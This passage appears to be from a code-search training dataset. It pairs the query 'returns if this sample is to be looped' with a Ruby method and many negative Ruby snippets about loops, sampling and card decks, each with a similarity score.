'GDT_CFLOAT64'\n else raise ArgumentError(\"Unknown data type.. not sure what to do here folks\", caller)\n end\n type_string\n end", "def type\n Type.new(type_param).yard_type_string\n end", "def samples; end", "def samples; end", "def type\n\tend" ]
[ "0.818099", "0.6927985", "0.6841041", "0.6293227", "0.6231982", "0.6161671", "0.6108571", "0.6021802", "0.5987624", "0.59841275", "0.59746885", "0.59542084", "0.59508646", "0.5914328", "0.58874506", "0.5880191", "0.58469415", "0.58356065", "0.5828858", "0.5796033", "0.5785344", "0.5784397", "0.57838553", "0.57757884", "0.57757884", "0.57243454", "0.57027274", "0.5700743", "0.5651023", "0.56411487", "0.56376404", "0.5633857", "0.56175625", "0.56078625", "0.55876994", "0.5587313", "0.5580522", "0.55761987", "0.55689085", "0.55651313", "0.55284625", "0.552743", "0.55161977", "0.55037683", "0.54677945", "0.5465529", "0.54620665", "0.5461589", "0.5446526", "0.54451364", "0.54436594", "0.5439051", "0.5438107", "0.5436653", "0.5433735", "0.5426501", "0.5421757", "0.54063165", "0.5405082", "0.53895277", "0.53885365", "0.53885365", "0.53782195", "0.5377772", "0.53729004", "0.53714", "0.5367773", "0.5363917", "0.536372", "0.53543484", "0.5339755", "0.5337837", "0.53351015", "0.5334061", "0.5333439", "0.53325546", "0.53300494", "0.5328804", "0.53259933", "0.5325408", "0.5322036", "0.5320189", "0.53187954", "0.5304068", "0.52960104", "0.5288904", "0.52861637", "0.52861637", "0.52861637", "0.52861637", "0.52861637", "0.52861637", "0.52861637", "0.52858853", "0.5283426", "0.52790815", "0.5273936", "0.52674323", "0.52674323", "0.52660793" ]
0.69286966
1
returns if this sample is to be looped
def looping? !sample_loop_length.zero? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_loop\n\n true\n end", "def is_loop\n\n false\n end", "def loop_wait_before_first_iteration?\n true\n end", "def loop_wait_before_first_iteration?\n true\n end", "def loop?\n get_animloop_array[0][0] && @battle_phase != :covered\n end", "def keep_looping?\n true\n end", "def sample?\n return true unless sampling\n sampler.sample?\n end", "def cycle?\n #...\n end", "def is_loop_enabled\n return @is_loop_enabled\n end", "def looped?\n !!joint\n end", "def is_non_repeating_animation?\n loop_count.in?(0..10)\n end", "def sample?\n raise 'Not implemented'\n end", "def has_loop?\n begin\n topology_sort\n false\n rescue Deployment::LoopDetected\n true\n end\n end", "def sampled?\n @sampled\n end", "def loop\n # Hack to get the player interface\n player_iface = @parent.player.send(:interface)\n # Fourth integrer in array is the looping status\n return player_iface.GetStatus.first[3] #== 1\n end", "def has_run?\n @passed != nil\n end", "def started?\n @continue\n end", "def loop_enabled?\n MSPhysics::Newton::CurvySlider.loop_enabled?(@address)\n end", "def loop_enabled?\n MSPhysics::Newton::CurvySlider.loop_enabled?(@address)\n end", "def sample_is?(number)\n @shot_sample == number\n end", "def ran_main_loop?\n @ran_main_loop_p ? true : false\n end", "def next?\n not_finished?\n end", "def first?\n\t\treturn @iteration == 0\n\tend", "def loopheader?\n @is_loopheader\n end", "def control_runs_first?\n return @control_runs_first if defined? @control_runs_first\n @control_runs_first = rand(2) == 0\n end", "def continue?\n continue == true\n end", "def repeats?\n false\n end", "def endless_loop?; end", "def run?\n @run\n end", "def finish_step?\n return !goto_true && !goto_false\n end", "def repeats?\n true \n end", "def looping_type\n ExtendedModule::Helpers.sample_looping_type(type)\n end", "def repealed?\n !!repealed_on\n end", "def next_turn?\n @status != :end\n end", "def ran?\n @ran\n end", "def ran?\n @ran\n end", "def sampled?\n @decision == Decision::RECORD_AND_SAMPLE\n end", "def yield_sample?(sample_time, sample_index)\n if every_time\n every_time = self.every_time.to_r\n @next_yield_time ||= sample_time\n while @next_yield_time <= sample_time\n do_display = true\n @next_yield_time += every_time\n end\n do_display\n elsif every_index\n @next_yield_index ||= sample_index\n if @next_yield_index <= sample_index\n do_display = true\n @next_yield_index += every_index\n end\n do_display\n else\n true\n end\n end", "def learned?\n consecutive_successful_repetitions >= WhRails::Application.config.max_consecutive_successful_repetitions\n end", "def running?\n @run\n end", "def cumtube?\n @cumtube == 1\n end", "def stopped?\n self.speed == 0\n end", "def start_of_tie?\n true\n end", "def loop; end", "def done?\n @next_frame == @total_frames\n end", "def running?\n ! stop_event.set?\n end", "def running?\n ! stop_event.set?\n end", "def main_break?\r\n return $scene != self # Abort loop if sceen is changed\r\n end", "def run_once?\n !!@run\n end", "def loop_detected?(the_binding, stack)\n # Make a temporary stack with the binding pushed\n tmp_stack = stack.dup\n tmp_stack << the_binding\n loops = Methods.repeated(tmp_stack)\n\n # If we do find a loop with the current binding involved, we'll just\n # call the wrapped method.\n return loops.include?(the_binding)\n end", "def running? ; @running end", "def should_run?\n Time.zone.now - @info.last_sent - @config.delay_time >= @config.run_every\n end", "def infinite_loop?; end", "def loop_present?(head)\n return false if head.nil? || head.next.nil?\n\n # what we use here is called runner technique\n slower = faster = head\n\n loop do\n return false if faster.nil?\n\n slower = slower.next\n faster = faster.next.next\n\n return true if slower == faster\n end\nend", "def is_sampler?(record)\n\t\t\t\t\t\trecord['flow_sampler_id'] && record['flow_sampler_mode'] && record['flow_sampler_random_interval']\n\t\t\t\t\tend", "def is_loop_enabled=(value)\n @is_loop_enabled = value\n end", "def throbbing?\n return get_throb.running?\n end", "def running?\n !@stop\n end", "def run?\n seconds_left == 0\n end", "def should_run?\n Time.zone.now - @info.last_sent - @config.delay_time >= @config.run_every\n end", "def sampled?\n span = this_span\n if span\n span.sampled\n else\n trace_options & 0x01 != 0\n end\n end", "def done?\n @number == @target\n end", "def cycled?\n @cycled\n end", "def run\n while 1\n if step == 1 then break end\n end\n end", "def should_stop?\n time_is_up? ? more_work? : false\n end", "def is_something_running\n @timestamps.each_value do |timestamp|\n return true if timestamp.fetch('is_running') == true\n end\n false\n end", "def is_sampler?(record)\n record['flow_sampler_id'] && record['flow_sampler_mode'] && record['flow_sampler_random_interval']\n end", "def loop\n end", "def loop\n end", "def check_for_infinite_loop(processed_source, offenses_by_iteration); end", "def allow_sample?(sample)\n true\n end", "def finished?\n @step == @total_steps + 1\n end", "def halted?\n @current >= (@size - 1)\n end", "def finished?\r\n return (@currentIndex >= @totalFrames - 1)\r\n end", "def running_here?\n !idle? && @self_started\n end", "def parallel_anim?\n !note[TSBS::ParallelTAG].nil?\n end", "def parallel_anim?\n !note[TSBS::ParallelTAG].nil?\n end", "def running?; end", "def running?\n @lock.synchronize { defined?(@start_time) } && !done?\n end", "def stop?\n @collection.any?(&:stop)\n end", "def loop\n end", "def lights_on?\n return [true,false].sample\n end", "def pre_loop; end", "def start?\r\n start\r\n end", "def play?\n if seconds%@level_num == 0 && seconds != @last_time_value\n @last_time_value = seconds\n true\n @mean_msg = @insults[rand([email protected])]\n else\n false\n end\n end", "def has_next()\n \n end", "def has_next()\n \n end", "def main_loop_running?\n @main_loop_thread_lock.synchronize do\n return @main_loop_running\n end\n end", "def finished?\n current_step > 1 && current_step >= game_length + 1\n end", "def step_completed?\n !object.waiting_on.include?(scope)\n end", "def run\n @ran = true\n end", "def running?\n @running\n end", "def running?\n @running\n end", "def running?\r\n return [email protected]?\r\n end", "def done?\n\t\treturn @num_valid == @max_block\n\tend", "def have_sample_ids?\n if @options.samples && @options.samples.size > 0\n return true\n end\n @stderr.puts \"Missing sample id(s) to processor\"\n return false\nend", "def next_unit?\n [email protected]?\n end", "def second_shot_complete? frame\n frame.shot_2 != nil\n end", "def stop?\n @stop\n end", "def ready?\n return (@delay <= 0)\n end" ]
[ "0.79150504", "0.77989495", "0.74996406", "0.7498008", "0.72575146", "0.7124311", "0.7112785", "0.69494814", "0.69441617", "0.6933494", "0.6903892", "0.683247", "0.6804792", "0.6692807", "0.66304135", "0.65197235", "0.64781904", "0.64695287", "0.64695287", "0.6453863", "0.64276516", "0.64186275", "0.6398134", "0.6398012", "0.6373546", "0.6343912", "0.63015395", "0.62774163", "0.62742", "0.6263623", "0.6263047", "0.625966", "0.6255702", "0.6251849", "0.6250996", "0.6250996", "0.62402666", "0.6238315", "0.62272847", "0.6205566", "0.6151785", "0.6117144", "0.6116884", "0.6115674", "0.6106265", "0.6105062", "0.6105062", "0.6104527", "0.61039627", "0.6094128", "0.60905224", "0.60894644", "0.6085792", "0.6083325", "0.60723954", "0.6068497", "0.6057096", "0.6056", "0.6051976", "0.60424316", "0.6032822", "0.60221326", "0.602191", "0.6002078", "0.5990479", "0.5985761", "0.59855294", "0.5984847", "0.5984847", "0.5975158", "0.5964818", "0.5960739", "0.59479976", "0.5946943", "0.59380776", "0.5930455", "0.5930455", "0.59170216", "0.5913831", "0.59059596", "0.5905594", "0.5879331", "0.5879116", "0.5870561", "0.5866687", "0.58663106", "0.58663106", "0.5864398", "0.58621305", "0.58581805", "0.5851279", "0.58479154", "0.58479154", "0.58430314", "0.5839342", "0.58275986", "0.5825543", "0.58251405", "0.5818005", "0.5813824" ]
0.8665534
0
HACK: to remove :data from inspect output as sample data is really too spammy
def inspect klass = self.class attrs = klass .attribute_names .reject { |key| key == :data } .map { |key| " #{key}=#{@attributes[key].inspect}" } .join "#<#{klass.name || klass.inspect}#{attrs}>" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def inspect\n \"#{to_s.chomp(\">\")} @data=#{data.inspect}>\"\n end", "def inspect\n tmp = @data\n begin\n @data = nil\n @data_summary = (\"#{tmp.size},#{tmp[0,256]}\" if tmp)\n return super\n ensure\n @data = tmp\n @data_summary = nil\n end\n end", "def build_raw_data(data)\r\n data.kind_of?(String) ? data : data.inspect\r\n end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def data; end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def dump_data\n create_attr_hash\n end", "def parse_from_summary(data)\n # \n end", "def printData()\n puts @data\n end", "def inspect_details\n ''\n end", "def inspec_data\n data\n end", "def preprocess_data data\n if data[0] == \"'\" || data[0] == '\"'\n \"say \" + data[1,data.length]\n else\n data\n end\n end", "def inspect\n redacted_string(:inspect)\n end", "def inspect\n redacted_string(:inspect)\n end", "def inspect()\n #This is a stub, used for indexing\n end", "def inspect(*) end", "def inspect(*) end", "def inspect(*) end", "def inspect(*) end", "def inspect(*) end", "def data\n attributes['data']\n end", "def sanitize_data(data)\n data\n end", "def inspect(input); end", "def details\n data()\n end", "def prepare_data(data)\n data.gsub(/Do some fancy data manipulation here/, '')\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n out = []\n out << string_name\n out << string_mappings\n out << string_data\n out.compact.join(' ') + '>'\n end", "def process_data(data)\n print_headline\n tmp = data.dup\n\n # TELNETコマンドを抽出しダンプする.\n tmp.gsub!(/#{IAC}(\n [#{DONT}#{DO}#{WONT}#{WILL}].|\n #{SB}.(#{IAC}#{IAC}|[^#{IAC}])*#{IAC}#{SE}|\n [#{NOP}-#{GA}#{0.chr}-#{239.chr}]\n )/xon){\n case $1[0].chr\n when DONT; print \"> IAC DONT #{$1[1]}\\n\"\n when DO ; print \"> IAC DO #{$1[1]}\\n\"\n when WONT; print \"> IAC WONT #{$1[1]}\\n\"\n when WILL; print \"> IAC WILL #{$1[1]}\\n\"\n when SB ; print \"> IAC SB #{$1[1]} #{$1[2..-3].dump} IAC SE\\n\"\n else ; print \"> IAC #{$1[1]}\\n\"\n end\n }\n\n # 残りの部分を出力.\n tmp.each { |line| print line.dump, \"\\n\" } if tmp.size > 0\n end", "def data\n # STUB\n end", "def inspect\n inspected = super\n\n # Only show last 4 of token, secret\n if @access_token\n inspected = inspected.gsub! @access_token, \"#{'*'*8}#{@access_token[8..-1]}\"\n end\n if @consumer_secret\n inspected = inspected.gsub! @consumer_secret, \"#{'*'*8}#{@consumer_secret[8..-1]}\"\n end\n\n inspected\n end", "def inspect; to_s; end", "def inspect; to_s; end", "def inspect; to_s; end", "def inspect; to_s; end", "def inspect; to_s; end" ]
[ "0.7105124", "0.6555798", "0.635008", "0.620551", "0.620551", "0.620551", "0.620551", "0.620551", "0.620551", "0.620551", "0.620551", "0.620551", "0.620551", "0.620551", "0.620551", "0.5986539", "0.5986539", "0.5986539", "0.5986539", "0.5986539", "0.5986539", "0.5986539", "0.5986539", "0.5986539", "0.5986539", "0.5986539", "0.5986539", "0.5986539", "0.5986539", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59545916", "0.59234923", "0.5884282", "0.5839537", "0.583063", "0.5829711", "0.5769998", "0.57374024", "0.57374024", "0.57222694", "0.5721235", "0.5721235", "0.5721235", "0.5721235", "0.5721235", "0.5713581", "0.5709725", "0.5694692", "0.569174", "0.5691602", "0.5654726", "0.5654726", "0.56545687", "0.56545687", "0.56545687", "0.56545687", "0.56545687", "0.56545687", "0.56545687", "0.56545687", "0.56545687", "0.56545687", "0.56545687", "0.56545687", "0.56545687", "0.5642189", "0.5639244", "0.5632123", "0.56310713", "0.5614787", "0.5614787", "0.5614787", "0.5614787", "0.5614787" ]
0.0
-1
represented by hash containing it's suit, rank and value. It is used +++ as a default deck, it is copied later in an other deck to be manipulated.
def deck_creator deck = [] suits = ["♠", "♥", "♦", "♣"] ranks = ["A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K"] suits.each do |value| current_suit = value ranks.each do |value| card = {} card[:suit] = current_suit card[:rank] = value if value === "A" card[:value] = 1 elsif ["J", "Q", "K"].include?(value) card[:value] = 10 else card[:value] = value.to_i end deck.push(card) end end return deck end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hash\n [rank, suit].hash\n end", "def hash\n @rank.hash ^ @suit.hash\n end", "def hash\n # Memoizing such a simple hash value seems silly, however the\n # profiler showed the Card#hash method as having 22% of the runtime. My\n # memoizing the hash value that was reduced to 12%.\n return @hash unless @hash.nil?\n @hash = @value.hash ^ @suit.hash\n end", "def deck_of_cards\n deck_hash = {h2: 2, h3: 3, h4: 4, h5: 5, h6: 6, h7: 7, h8: 8, h9: 9, h10: 10, hj: 10, hq: 10, hk: 10, ha: 11,\n d2: 2, d3: 3, d4: 4, d5: 5, d6: 6, d7: 7, d8: 8, d9: 9, d10: 10, dj: 10, dq: 10, dk: 10, da: 11,\n s2: 2, s3: 3, s4: 4, s5: 5, s6: 6, s7: 7, s8: 8, s9: 9, s10: 10, sj: 10, sq: 10, sk: 10, sa: 11,\n c2: 2, c3: 3, c4: 4, c5: 5, c6: 6, c7: 7, c8: 8, c9: 9, c10: 10, cj: 10, cq: 10, ck: 10, ca: 11}\nend", "def initialize(rank, suit, color, value)\n @rank = rank\n @suit = suit\n @color = color\n @value = value\n end", "def initialize(rank, value, suit)\n @rank = rank\n @value = value\n @suit = suit\n end", "def initialize(value, rank, suit, color, blackjack)\n @rank = rank\n @suit = suit\n @color = color\n @value = value\n @blackjack = blackjack\n end", "def card_value(card_symbol, deck_hash)\n deck_hash[card_symbol]\nend", "def add_hash_card(card)\n card[:type] = 'Simple' if card[:type].nil?\n @card = card\n @card\n end", "def initialize_deck\n new_deck = {}\n SUITS_SYMBOLS.each do |suit|\n new_deck[suit] = %w(2 3 4 5 6 7 8 9 10 J Q K A)\n end\n new_deck\nend", "def card_in_game\n (2..14).each {|r| (1..4).each { |i| @pack_of_card << [i, r] }}\n @cards = @pack_of_card.shuffle.take(7)\n # @hash_7_card is hash prepared for analyze combinations and the highest combination to win\n $hash_7_card = array_suit_rank\n end", "def initialize(suit,value)\n @suit = suit\n @value = value\n end", "def initialize(rank, suit)\r\n @rank = rank\r\n @suit = suit\r\n end", "def add_to_hand(card)\n # add the new card to each \"hand\"\n @values = @values.map { |val| val + card.rank }\n\n # change accordngly if there is an ace\n update_for_ace if card.rank.eql?(1)\n\n @cards.push(card)\n end", "def initialize(card_value, card_suit)\n fail \"Invalid suit: #{card_suit}\" unless validate_suit(card_suit)\n fail \"Invalid value: #{card_value}\" unless validate_value(card_value)\n @value = card_value\n @suit = card_suit\n @hash = nil\n end", "def initialize(rank, suit)\r\n self.rank = rank\r\n self.suit = suit\r\n end", "def initialize(rank, suit, color)\n @rank = rank\n @suit = suit\n @color = color\n end", "def initialize(rank, suit)\n @rank = rank\n @suit = suit\n end", "def initialize(suit, rank, value)\n \t# @variable indicated it is an instance variable. \n @suit = suit\n @rank = rank\n @value = value\n end", "def initialize(rank, suit, color)\n @rank = rank\n @suit = suit\n @color = color\n end", "def hash\n super() ^ @hidden_cards.hash\n end", "def initialize(rank, suit)\n @rank = rank \n @suit = suit\n end", "def initialize(rank, suit)\n @rank, @suit = rank, suit\n end", "def assign_to_hsh hsh,card,key \n hsh[key] = [] unless hsh.has_key? key\n hsh[key] << card\n end", "def create_deck\n suits = ['C', 'D', 'H', 'S']\n card_values = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n deck = {}\n suits.each do |suit|\n card_values.each_with_index do |v,i|\n if i == 0\n deck['A' + suit] = v\n elsif i == 9\n deck['T' + suit] = v\n elsif i == 10\n deck['J' + suit] = v\n elsif i == 11\n deck['Q' + suit] = v\n elsif i == 12\n deck['K' + suit] = v\n else\n deck[v.to_s + suit] = v\n end\n end\n end\n return deck\nend", "def build_deck(ranks, suits)\n deck = []\n ranks.each_with_index do |rank, i|\n suits.each do |suit|\n card = {\n suit: suit,\n rank: rank,\n worth: i\n }\n deck << card\n end\n end\n deck.shuffle\nend", "def dup\n Card.new @value, @suit\n end", "def value\n card_value = @rank\n if @rank == :A\n card_value = 11\n elsif @rank == :K || @rank == :Q || @rank == :J\n card_value = 10\n end\n card_value\n end", "def initialize(cards)\n raise \"Invalid hand size - #{cards.length}\" unless cards.length == 5\n @cards = cards.map {|c| Card.new(c)}.sort\n @by_value = {}\n @by_suit = {}\n @cards.each do |c|\n @by_value[c.value] ||= []\n @by_suit[c.suit] ||= []\n @by_value[c.value] << c\n @by_suit[c.suit] << c\n end\n\n if @cards[4].value+1 == @cards[3].value &&\n @cards[3].value+1 == @cards[2].value &&\n @cards[2].value+1 == @cards[1].value &&\n @cards[1].value+1 == @cards[0].value\n end\n # Is it a straight\n @straight = true\n @cards.reduce do |p,c|\n if p.value != c.value + 1\n @straight = false\n break\n end\n c\n end\n value = [0]\n if @straight # Is it a straight\n value = [500, @cards.first.value]\n end\n # Is it a flush\n if @flush = @by_suit.find {|k,v| v.length == 5}\n if @straight\n value = [900, @cards.first.value]\n else\n value = [600, @cards.first.value]\n end\n end\n if value[0] < 700\n if (a = @by_value.find {|k,v| v.length == 3 }) &&\n (b = @by_value.find {|k,v| v.length == 2 })\n value = [700, a[0], b[0]]\n elsif a = @by_value.find {|k,v| v.length == 4 }\n value = [800, a[0]] # Is it 4 of a kind\n end\n end\n if value[0] < 500 && (a = @by_value.find {|k,v| v.length == 3 })\n value = [400, a[0]] # Is it 3 of a kind\n end\n if value[0] < 400 \n if (a = @by_value.select {|k,v| v.length == 2}).length > 0\n if a.length == 2\n hi,low = a[a.keys.max], a[a.keys.min]\n high = @cards - hi - low\n value = [300,hi.first.value, low.first.value, high.first.value]\n else\n pair = a[a.keys.first]\n high = (@cards - pair).first\n value = [200,pair.first.value, high.value]\n end\n else\n value = [100, @cards.first.value]\n end\n end\n @value = value\n end", "def add_to_deck (suit)\n cards = [2,3,4,5,6,7,8,9,10,'J','Q','K','A']\n cards.each {|val| @deck << Card.new(val, suit)}\n end", "def initialize(rank, suit, color)\n @rank = rank\n @suit = suit\n @color = color\n end", "def initialize(rank, suit)\n @rank = rank\n @suit = suit\n # instantiate 2 variables that the deck class can use\n end", "def build_deck_of_cards(deck)\n SUITS.each do |suit|\n RANKS.each do |rank|\n if suit == \"Hearts\" || suit == \"Diamonds\"\n if rank.match(/[B-Z]/)\n deck[\"#{rank} of #{suit}\".red] = 10\n elsif rank.match(\"A\")\n deck[\"#{rank} of #{suit}\".red] = 11\n else\n deck[\"#{rank} of #{suit}\".red] = rank.to_i\n end\n else\n if rank.match(/[B-Z]/)\n deck[\"#{rank} of #{suit}\".light_black] = 10\n elsif rank.match(\"A\")\n deck[\"#{rank} of #{suit}\".light_black] = 11\n else\n deck[\"#{rank} of #{suit}\".light_black] = rank.to_i\n end\n end\n end\n end\nend", "def deal(game_hash, player_number = nil) # <= Hash, Integer\n if game_hash[:dealer_deck].count <= 3\n game_hash[:dealer_deck] << prepare_decks(game_hash[:decks])\n end\n \n if player_number.nil? # if the dealer\n how_many_cards = game_hash[:dealer_hand].count < 2 ? 2 : 1\n how_many_cards.times do\n card = game_hash[:dealer_deck].pop\n game_hash[:dealer_hand] << card\n end\n else # if not the dealer\n how_many_cards = game_hash[:current_hands][player_number].count < 2 ? 2 : 1\n how_many_cards.times do\n card = game_hash[:dealer_deck].pop\n game_hash[:current_hands][player_number] << card\n end\n end\n \n game_hash\nend", "def initialize(rank,suit)\n @rank = rank\n @suit = suit\n end", "def suit=(s)\n @suit = s\n end", "def full_deck\n wild_config = respond_to?(:wild_config) ? self.wild_config : {}\n suits.keys.product(face_values.keys).map do |card_data|\n wild = (wild_config[card_data.second] || []).include?(card_data.first)\n CardDecks::Card.new deck: self, suit: card_data.first, value: card_data.second, wild: wild\n end +\n (self.class.joker_count.times.map do\n CardDecks::Card.new deck: self, suit: :joker, value: :joker, wild: wild_config.has_key?(:joker)\n end)\n end", "def favorite_suit\n suit_counts = Hash.new(0)\n cards.each { |card| suit_counts[card.suit] += 1 }\n favorite_suit, _ = suit_counts.max_by { |k, v| v }\n favorite_suit\n end", "def hand_value cards\n values = cards.map{|c| $value_map[c[0]]}\n suits = cards.map{|c| c[1]}\n is_flush = false\n # check for flush\n if suits.uniq.size == 1\n is_flush = true\n end\n # check for straight\n is_straight = true\n sorted_values = values.sort\n for v in 0..(values.size-2)\n unless sorted_values[v]+1 == sorted_values[v+1]\n is_straight = false\n break\n end\n end\n if is_straight\n if is_flush\n # royal flush\n return {rank: 9, secondary: 10} if sorted_values[0] == 10\n # straight flush\n return {rank: 8, secondary: sorted_values[0]}\n end\n end\n # check for four of a kind\n if sorted_values[0] == sorted_values[3] || sorted_values[1] == sorted_values[4]\n return {rank: 7, secondary: sorted_values[1]}\n end\n # check for three of a kind or full house\n if sorted_values[0] == sorted_values[2]\n return {rank: 6, secondary: sorted_values[0]} if sorted_values[3] == sorted_values[4]\n return {rank: 3, secondary: sorted_values[0]}\n end\n if sorted_values[2] == sorted_values[4]\n return {rank: 6, secondary: sorted_values[2]} if sorted_values[0] == sorted_values[1]\n return {rank: 3, secondary: sorted_values[2]}\n end\n # check for three of a kind (case where full house is not possible)\n if sorted_values[1] == sorted_values[3]\n return {rank: 3, secondary: sorted_values[1]}\n end\n # return for flush (fine since three of a kind/full house and flush are mutually exclusive)\n return {rank: 5, secondary: sorted_values.last} if is_flush\n # return for straight (fine since three of a kind/full house and straight are mutually exclusive)\n return {rank: 4, secondary: sorted_values[0]} if is_straight\n # check for two pairs\n if sorted_values[0] == sorted_values[1] && sorted_values[2] == sorted_values[3]\n return {rank: 2, secondary: (sorted_values[0] > sorted_values[2] ? sorted_values[0] : sorted_values[2])}\n end\n if sorted_values[0] == sorted_values[1] && sorted_values[3] == sorted_values[4] \n return {rank: 2, secondary: (sorted_values[0] > sorted_values[3] ? sorted_values[0] : sorted_values[3])}\n end\n if sorted_values[1] == sorted_values[2] && sorted_values[3] == sorted_values[4] \n return {rank: 2, secondary: (sorted_values[1] > sorted_values[3] ? sorted_values[1] : sorted_values[3])}\n end\n # check for pairs\n return {rank: 1, secondary: sorted_values[0]} if sorted_values[0] == sorted_values[1]\n return {rank: 1, secondary: sorted_values[1]} if sorted_values[1] == sorted_values[2]\n return {rank: 1, secondary: sorted_values[2]} if sorted_values[2] == sorted_values[3]\n return {rank: 1, secondary: sorted_values[3]} if sorted_values[3] == sorted_values[4]\n # otherwise high card\n return {rank: 0, secondary: sorted_values.last}\nend", "def hash\n @hash || @hash = (value.hash * -1)\n end", "def game\nranks = [2, 3, 4, 5, 6, 7, 8, 9, 10, \"J\", \"Q\", \"K\", \"A\"]\nsuits = [ \"hearts\", \"spades\", \"clubs\", \"diamonds\" ]\ndeck = []\npoints = []\n\nranks.each_with_index do |rank, score|\n suits.each do |suit|\n deck.push({\n points: points,\n ranks: rank,\n suits: suit\n })\n\n end\n end\n\n return deck.shuffle\nend", "def add_players_lowest_hand(current_player)\n sum_of_players_hand = 0\n if current_player == 1 then\n @player1_hand.each {|x|\n card_value = @deckhash.fetch(x)\n sum_of_players_hand = sum_of_players_hand + card_value\n # $stdout.write(\"Showing card and value #{x}, #{sum_of_players_hand}, #{card_value} \\n\")\n }\n end #end if current player = 1\n if current_player == 2 then\n @player2_hand.each {|x|\n card_value = @deckhash.fetch(x)\n sum_of_players_hand = sum_of_players_hand + card_value\n # $stdout.write(\"Showing card and value #{x}, #{sum_of_players_hand}, #{card_value} \\n\")\n }\n end #end if current player = 2\n if current_player == 3 then\n @player3_hand.each {|x|\n card_value = @deckhash.fetch(x)\n sum_of_players_hand = sum_of_players_hand + card_value\n # $stdout.write(\"Showing card and value #{x}, #{sum_of_players_hand}, #{card_value} \\n\")\n }\n end #end if current player = 3\n if current_player == 4 then\n @player4_hand.each {|x|\n card_value = @deckhash.fetch(x)\n sum_of_players_hand = sum_of_players_hand + card_value\n # $stdout.write(\"Showing card and value #{x}, #{sum_of_players_hand}, #{card_value} \\n\")\n }\n end #end if current player = 4\n# ### This method returns sum of player's hand\n return sum_of_players_hand\n end", "def build_deck(deck_hash)\n deck_array = Array.new\n deck_hash.each {|k, _| deck_array.push(k)}\n deck_array.shuffle\nend", "def hand_value\n\t\tadd_card_value(all_sums = [[]])\n\t\tconvert_aces(all_sums)\n\t\tall_sums.map! do |value_set|\n\t\t\tvalue_set.inject :+\n\t\tend\n\t\treturn_sum(all_sums)\n\tend", "def by_suit\n PokerHand.new(@hand.sort_by { |c| [c.suit, c.face] }.reverse)\n end", "def suit=(new_suit)\n\t\t@suit = new_suit\n\tend", "def deal(deck)\n unless players.size == 4\n raise NotImplementedError, \"only 4 players are supported\"\n end\n raise ArgumentError, \"deck has fewer than 43 cards\" if deck.size < 43\n\n deck = deck.shuffle\n\n merge(\n hands: Hamster::Hash[players.map {|p| [p, deck.shift(10)] }],\n kitty: deck.shift(3),\n )\n end", "def initialize suit, value\n raise 'Invalid card suit' unless SUITS.include? suit\n raise 'Invalid card value' unless value.to_i >= 0 && value.to_i < 13\n @suit = suit\n @value = value\n end", "def suit\n\t\t@suit\n\tend", "def hash\n size.hash ^ rank.hash\n end", "def createDeck(myGame)\n x = 0\n deckA = []\n deckOfCards = {}\n myGame.deckCount.times do |d|\n ###print \"\\n#{$dm}Deck: #{d+1}\" if $debug\n myGame.suitA.each do |s|\n ###print \"\\n#{$dm} Suit: #{s} Cards: \" if $debug\n myGame.valueA.each do |v|\n x += 1\n deckA.push(x)\n ###print \" #{v}\" if $debug\n #sleep(0.05)\n\n # Make a HASH of cards\n deckOfCards[x] = Card.new(s, v)\n\n # Make an ARRAY of cards\n #deckOfCardsA.push(Card.new(s, v))\n end\n end\n end\n myGame.setDeckOrder(deckA)\n myGame.setDeckOfCards(deckOfCards)\nend", "def addBlankPlayer(retrosheet_id, hash)\n perfs = Hash.new\n perfs[\"career_games\"] = 0.0\n \n perfs[\"at_bats_last_1_game\"] = [0]\n perfs[\"at_bats_last_2_games\"] = [0, 0]\n perfs[\"at_bats_last_5_games\"] = [0, 0, 0, 0, 0]\n perfs[\"at_bats_last_10_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"at_bats_last_20_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"career_at_bats\"] = 0.0\n \n perfs[\"walks_last_1_game\"] = [0]\n perfs[\"walks_last_2_games\"] = [0, 0]\n perfs[\"walks_last_5_games\"] = [0, 0, 0, 0, 0]\n perfs[\"walks_last_10_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"walks_last_20_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"career_walks\"] = 0\n \n perfs[\"hits_last_1_game\"] = [0]\n perfs[\"hits_last_2_games\"] = [0, 0]\n perfs[\"hits_last_5_games\"] = [0, 0, 0, 0, 0]\n perfs[\"hits_last_10_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"hits_last_20_games\"] = [0, 0, 0, 0, 0, 